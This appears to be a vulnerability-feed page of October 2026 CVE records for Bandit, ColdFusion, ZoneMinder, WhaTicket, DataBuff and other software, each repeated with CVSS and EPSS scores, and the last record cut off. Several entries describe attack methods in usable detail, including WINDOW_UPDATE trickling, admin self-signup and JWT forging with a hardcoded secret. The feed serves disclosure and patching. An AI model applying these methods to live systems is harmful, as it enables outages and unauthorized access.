Uncontrolled Resource Consumption vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin HTTP/2 stream processes indefinitely via a trickle of small... (Oct 14, 2026).
Uncontrolled Resource Consumption vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin HTTP/2 stream processes indefinitely via a trickle of small WINDOW_UPDATE frames. A stream whose response outruns the connection or stream send window blocks until the peer grants more window, and each block carries a 15 second deadline. Both deadlines restart whenever the peer makes partial progress. Bandit.HTTP2.Connection.finish_data/5 re-queues a partially advanced send in pending_sends with a fresh expires_at, so every WINDOW_UPDATE on stream 0, and every SETTINGS frame, resets the clock. Bandit.HTTP2.Stream.send_data/3 recurses on each stream WINDOW_UPDATE and re-arms a fresh after read_timeout. A peer that grants a few bytes every few seconds keeps the blocked stream process, its Plug state and any resource it holds mid-response alive for as long as it keeps dripping, and repeats this across streams and connections to exhaust server processes and memory.

The two paths are independent. The stream-level block is reached on its own by widening the connection window with a large WINDOW_UPDATE on stream 0 and shrinking the per-stream window with a small SETTINGS_INITIAL_WINDOW_SIZE, so closing only the connection-level path leaves it exploitable.

This issue affects bandit: from 1.4.0 before 1.13.0.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105659).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105659&date=2026-10-25).
Sources:
NVD CVE-2026-105659: https://nvd.nist.gov/vuln/detail/CVE-2026-105659
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105659&date=2026-10-25
Uncontrolled Resource Consumption vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin HTTP/2 stream processes indefinitely via a trickle of small WINDOW_UPDATE frames. A stream whose response outruns the connection or stream send window blocks until the peer grants more window, and each block carries a 15 second deadline. Both deadlines restart whenever the peer makes partial progress. Bandit.HTTP2.Connection.finish_data/5 re-queues a partially advanced send in pending_sends with a fresh expires_at, so every WINDOW_UPDATE on stream 0, and every SETTINGS frame, resets the clock. Bandit.HTTP2.Stream.send_data/3 recurses on each stream WINDOW_UPDATE and re-arms a fresh after read_timeout. A peer that grants a few bytes every few seconds keeps the blocked stream process, its Plug state and any resource it holds mid-response alive for as long as it keeps dripping, and repeats this across streams and connections to exhaust server processes and memory.

The two paths are independent. The stream-level block is reached on its own by widening the connection window with a large WINDOW_UPDATE on stream 0 and shrinking the per-stream window with a small SETTINGS_INITIAL_WINDOW_SIZE, so closing only the connection-level path leaves it exploitable.

This issue affects bandit: from 1.4.0 before 1.13.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When a TLS 1.3 client processes a HelloRetryRequest, it copies the server's cookie into its second ClientHello without checking that the cookie fits in the outgoing packet.
https://kevwire.com/record/CVE-2026-103415
When a TLS 1.3 client processes a HelloRetryRequest, it copies the server's cookie into its second ClientHello without checking that the cookie fits in the outgoing packet. (Oct 14, 2026).
When a TLS 1.3 client processes a HelloRetryRequest, it copies the server's cookie into its second ClientHello without checking that the cookie fits in the outgoing packet. Both the length and the contents of that cookie come from the peer, and the write happens before certificate authentication completes, so a malicious or compromised server can overwrite memory past the caller supplied TLS packet buffer without presenting a certificate.



Only the client path is affected.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103415).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103415&date=2026-10-25).
Sources:
NVD CVE-2026-103415: https://nvd.nist.gov/vuln/detail/CVE-2026-103415
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103415&date=2026-10-25
When a TLS 1.3 client processes a HelloRetryRequest, it copies the server's cookie into its second ClientHello without checking that the cookie fits in the outgoing packet. Both the length and the contents of that cookie come from the peer, and the write happens before certificate authentication completes, so a malicious or compromised server can overwrite memory past the caller supplied TLS packet buffer without presenting a certificate.



Only the client path is affected.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The GUIX binary resource (theme) loader sizes its arena and populates it in two separate passes that traverse the resource file with independent cursor arithmetic.
https://kevwire.com/record/CVE-2026-103414
The GUIX binary resource (theme) loader sizes its arena and populates it in two separate passes that traverse the resource file with independent cursor arithmetic. (Oct 14, 2026).
The GUIX binary resource (theme) loader sizes its arena and populates it in two separate passes that traverse the resource file with independent cursor arithmetic. Because `gx_page_header_data_size` is never validated against the glyph data a page actually contains, the two passes can read different page headers for the same font page, derive different glyph counts, and reserve less than the load pass writes. The excess is written past the end of the arena, with content taken verbatim from the file.



The overflowed buffer is allocated by GUIX itself, through `_gx_system_memory_allocator`, rather than supplied by the caller. The public API `gx_binres_theme_load()` takes no size parameter, so no amount of caller diligence prevents this.



Reproduces in the shipped default configuration; `GX_BINARY_RESOURCE_SUPPORT` is enabled by default.
CVSS 8.4 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103414).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103414&date=2026-10-25).
Sources:
NVD CVE-2026-103414: https://nvd.nist.gov/vuln/detail/CVE-2026-103414
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103414&date=2026-10-25
The GUIX binary resource (theme) loader sizes its arena and populates it in two separate passes that traverse the resource file with independent cursor arithmetic. Because `gx_page_header_data_size` is never validated against the glyph data a page actually contains, the two passes can read different page headers for the same font page, derive different glyph counts, and reserve less than the load pass writes. The excess is written past the end of the arena, with content taken verbatim from the file.



The overflowed buffer is allocated by GUIX itself, through `_gx_system_memory_allocator`, rather than supplied by the caller. The public API `gx_binres_theme_load()` takes no size parameter, so no amount of caller diligence prevents this.



Reproduces in the shipped default configuration; `GX_BINARY_RESOURCE_SUPPORT` is enabled by default.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-105994
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 7.7 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105994).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105994&date=2026-10-25).
Sources:
NVD CVE-2026-105994: https://nvd.nist.gov/vuln/detail/CVE-2026-105994
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105994&date=2026-10-25
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-106089
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106089).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106089&date=2026-10-25).
Sources:
NVD CVE-2026-106089: https://nvd.nist.gov/vuln/detail/CVE-2026-106089
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106089&date=2026-10-25
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-106090
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106090).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106090&date=2026-10-25).
Sources:
NVD CVE-2026-106090: https://nvd.nist.gov/vuln/detail/CVE-2026-106090
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106090&date=2026-10-25
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect Permission Assignment for Critical Resource vulnerability in Progress MOVEit Transfer.
https://kevwire.com/record/CVE-2026-87093
Incorrect Permission Assignment for Critical Resource vulnerability in Progress MOVEit Transfer. (Oct 14, 2026).
Incorrect Permission Assignment for Critical Resource vulnerability in Progress MOVEit Transfer.

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87093).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87093&date=2026-10-25).
Sources:
NVD CVE-2026-87093: https://nvd.nist.gov/vuln/detail/CVE-2026-87093
Vendor advisory (via NVD references): https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87093&date=2026-10-25
Incorrect Permission Assignment for Critical Resource vulnerability in Progress MOVEit Transfer.

This issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current...
https://kevwire.com/record/CVE-2026-105903
ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current... (Oct 13, 2026).
ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 9.9 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105903).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105903&date=2026-10-25).
Sources:
NVD CVE-2026-105903: https://nvd.nist.gov/vuln/detail/CVE-2026-105903
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105903&date=2026-10-25
ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-105901
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105901).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105901&date=2026-10-25).
Sources:
NVD CVE-2026-105901: https://nvd.nist.gov/vuln/detail/CVE-2026-105901
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105901&date=2026-10-25
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Improper Input Validation vulnerability that could result in an application denial-of-service.
https://kevwire.com/record/CVE-2026-105900
ColdFusion is affected by an Improper Input Validation vulnerability that could result in an application denial-of-service. (Oct 13, 2026).
ColdFusion is affected by an Improper Input Validation vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105900).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105900&date=2026-10-25).
Sources:
NVD CVE-2026-105900: https://nvd.nist.gov/vuln/detail/CVE-2026-105900
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105900&date=2026-10-25
ColdFusion is affected by an Improper Input Validation vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96915
Integer overflow or wraparound in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Integer overflow or wraparound in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96915).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96915&date=2026-10-25).
Sources:
NVD CVE-2026-96915: https://nvd.nist.gov/vuln/detail/CVE-2026-96915
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96915
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96915&date=2026-10-25
Integer overflow or wraparound in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation.
https://kevwire.com/record/CVE-2026-105897
ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. (Oct 13, 2026).
ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 8.6 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105897).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105897&date=2026-10-25).
Sources:
NVD CVE-2026-105897: https://nvd.nist.gov/vuln/detail/CVE-2026-105897
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105897&date=2026-10-25
ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Z.ai ZCode v3.11.2.6792 was discovered to automatically establish connections with MCP servers declared inside a repository's workspace configuration, possibly allowing attackers...
https://kevwire.com/record/CVE-2026-88755
Z.ai ZCode v3.11.2.6792 was discovered to automatically establish connections with MCP servers declared inside a repository's workspace configuration, possibly allowing attackers... (Oct 16, 2026).
Z.ai ZCode v3.11.2.6792 was discovered to automatically establish connections with MCP servers declared inside a repository's workspace configuration, possibly allowing attackers to execute arbitrary code via opening a crafted repository.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88755).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88755&date=2026-10-25).
Sources:
NVD CVE-2026-88755: https://nvd.nist.gov/vuln/detail/CVE-2026-88755
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88755&date=2026-10-25
Z.ai ZCode v3.11.2.6792 was discovered to automatically establish connections with MCP servers declared inside a repository's workspace configuration, possibly allowing attackers to execute arbitrary code via opening a crafted repository.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ZoneMinder is a free, open source closed-circuit television software application.
https://kevwire.com/record/CVE-2026-30971
ZoneMinder is a free, open source closed-circuit television software application. (Oct 16, 2026).
ZoneMinder is a free, open source closed-circuit television software application. Prior to 1.39.2, 1.38.2, and 1.36.40, ZoneMinder interpolates an unvalidated monitor Device field into shell commands in PHP and Perl control paths when an authenticated user with monitor-create or monitor-edit permission saves a Local monitor whose Device Path contains shell metacharacters and the monitor control or startup path runs. In this attack mechanism, the stored Device value reaches Perl qx() and backtick execution before zmdc.pl argument detainting, while separate PHP command paths use bypassable escapeshellcmd defenses. The attacker can execute arbitrary commands as the web server user. This vulnerability is fixed in 1.39.2, 1.38.2, and 1.36.40.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-30971).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-30971&date=2026-10-25).
Sources:
NVD CVE-2026-30971: https://nvd.nist.gov/vuln/detail/CVE-2026-30971
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-30971&date=2026-10-25
ZoneMinder is a free, open source closed-circuit television software application. Prior to 1.39.2, 1.38.2, and 1.36.40, ZoneMinder interpolates an unvalidated monitor Device field into shell commands in PHP and Perl control paths when an authenticated user with monitor-create or monitor-edit permission saves a Local monitor whose Device Path contains shell metacharacters and the monitor control or startup path runs. In this attack mechanism, the stored Device value reaches Perl qx() and backtick execution before zmdc.pl argument detainting, while separate PHP command paths use bypassable escapeshellcmd defenses. The attacker can execute arbitrary commands as the web server user. This vulnerability is fixed in 1.39.2, 1.38.2, and 1.36.40.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### AipexBase through commit 690adb9 contains a sql injection vulnerability that allows attackers to inject SQL through the order_by and group_by fields of the /api/data/invoke...
https://kevwire.com/record/CVE-2026-111718
AipexBase through commit 690adb9 contains a sql injection vulnerability that allows attackers to inject SQL through the order_by and group_by fields of the /api/data/invoke... (Oct 16, 2026).
AipexBase through commit 690adb9 contains a sql injection vulnerability that allows attackers to inject SQL through the order_by and group_by fields of the /api/data/invoke endpoint. Attackers can supply subqueries or EXTRACTVALUE and UPDATEXML functions that bypass the SqlGuard denylist and row-level security, reading other users' rows and tables.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111718).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111718&date=2026-10-25).
Sources:
NVD CVE-2026-111718: https://nvd.nist.gov/vuln/detail/CVE-2026-111718
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111718&date=2026-10-25
AipexBase through commit 690adb9 contains a sql injection vulnerability that allows attackers to inject SQL through the order_by and group_by fields of the /api/data/invoke endpoint. Attackers can supply subqueries or EXTRACTVALUE and UPDATEXML functions that bypass the SqlGuard denylist and row-level security, reading other users' rows and tables.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WhaTicket Community through commit cf04795 contains an authentication bypass vulnerability that allows unauthenticated attackers to self-register as administrators via POST...
https://kevwire.com/record/CVE-2026-111708
WhaTicket Community through commit cf04795 contains an authentication bypass vulnerability that allows unauthenticated attackers to self-register as administrators via POST... (Oct 16, 2026).
WhaTicket Community through commit cf04795 contains an authentication bypass vulnerability that allows unauthenticated attackers to self-register as administrators via POST /auth/signup. Attackers can omit the profile field or set it to admin, gaining user management, settings, and access to all tickets, contacts, messages, and WhatsApp connections.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111708).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111708&date=2026-10-25).
Sources:
NVD CVE-2026-111708: https://nvd.nist.gov/vuln/detail/CVE-2026-111708
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111708&date=2026-10-25
WhaTicket Community through commit cf04795 contains an authentication bypass vulnerability that allows unauthenticated attackers to self-register as administrators via POST /auth/signup. Attackers can omit the profile field or set it to admin, gaining user management, settings, and access to all tickets, contacts, messages, and WhatsApp connections.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### HUIZHI ChargeOS cloud through 3.0.9 contains a missing authorization vulnerability in the hcp-mp PayController.xcxRecharge endpoint that allows attackers to modify any member's...
https://kevwire.com/record/CVE-2026-111698
HUIZHI ChargeOS cloud through 3.0.9 contains a missing authorization vulnerability in the hcp-mp PayController.xcxRecharge endpoint that allows attackers to modify any member's... (Oct 16, 2026).
HUIZHI ChargeOS cloud through 3.0.9 contains a missing authorization vulnerability in the hcp-mp PayController.xcxRecharge endpoint that allows attackers to modify any member's wallet balance without payment. Attackers can send requests with arbitrary amount and userId parameters to credit or reduce balances and consume charging services for free.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111698).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111698&date=2026-10-25).
Sources:
NVD CVE-2026-111698: https://nvd.nist.gov/vuln/detail/CVE-2026-111698
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111698&date=2026-10-25
HUIZHI ChargeOS cloud through 3.0.9 contains a missing authorization vulnerability in the hcp-mp PayController.xcxRecharge endpoint that allows attackers to modify any member's wallet balance without payment. Attackers can send requests with arbitrary amount and userId parameters to credit or reduce balances and consume charging services for free.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DataBuff ai-apm-web through 0.1.10 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge admin session tokens by using the hardcoded HMAC...
https://kevwire.com/record/CVE-2026-111692
DataBuff ai-apm-web through 0.1.10 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge admin session tokens by using the hardcoded HMAC... (Oct 16, 2026).
DataBuff ai-apm-web through 0.1.10 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge admin session tokens by using the hardcoded HMAC secret in JwtTokenService. Attackers can sign a payload of admin and a future expiry with the default dev-secret to gain full administrative access to protected /webapi routes, including the Doris SQL query API.
